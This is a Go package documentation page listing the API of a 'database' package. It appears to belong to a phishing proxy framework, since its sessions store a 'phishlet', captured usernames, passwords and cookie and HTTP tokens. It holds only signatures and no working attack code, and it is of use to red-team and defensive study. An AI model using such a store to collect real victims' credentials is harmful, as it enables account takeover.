database

package
v0.0.0-...-14d202e Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 9, 2023 License: BSD-3-Clause Imports: 5 Imported by: 0

Documentation

Index

Constants

View Source
const SessionTable = "sessions"

Variables

This section is empty.

Functions

This section is empty.

Types

type CookieToken

type CookieToken struct {
	Name     string
	Value    string
	Path     string
	HttpOnly bool
}

type Database

type Database struct {
	// contains filtered or unexported fields
}

func NewDatabase

func NewDatabase(path string) (*Database, error)

func (*Database) CreateSession

func (d *Database) CreateSession(sid string, phishlet string, landing_url string, useragent string, remote_addr string) error

func (*Database) DeleteSession

func (d *Database) DeleteSession(sid string) error

func (*Database) DeleteSessionById

func (d *Database) DeleteSessionById(id int) error

func (*Database) Flush

func (d *Database) Flush()

func (*Database) ListSessions

func (d *Database) ListSessions() ([]*Session, error)

func (*Database) SetSessionBodyTokens

func (d *Database) SetSessionBodyTokens(sid string, tokens map[string]string) error

func (*Database) SetSessionCookieTokens

func (d *Database) SetSessionCookieTokens(sid string, tokens map[string]map[string]*CookieToken) error

func (*Database) SetSessionCustom

func (d *Database) SetSessionCustom(sid string, name string, value string) error

func (*Database) SetSessionHttpTokens

func (d *Database) SetSessionHttpTokens(sid string, tokens map[string]string) error

func (*Database) SetSessionPassword

func (d *Database) SetSessionPassword(sid string, password string) error

func (*Database) SetSessionUsername

func (d *Database) SetSessionUsername(sid string, username string) error

type Session

type Session struct {
	Id           int                                `json:"id"`
	Phishlet     string                             `json:"phishlet"`
	LandingURL   string                             `json:"landing_url"`
	Username     string                             `json:"username"`
	Password     string                             `json:"password"`
	Custom       map[string]string                  `json:"custom"`
	BodyTokens   map[string]string                  `json:"body_tokens"`
	HttpTokens   map[string]string                  `json:"http_tokens"`
	CookieTokens map[string]map[string]*CookieToken `json:"tokens"`
	SessionId    string                             `json:"session_id"`
	UserAgent    string                             `json:"useragent"`
	RemoteAddr   string                             `json:"remote_addr"`
	CreateTime   int64                              `json:"create_time"`
	UpdateTime   int64                              `json:"update_time"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL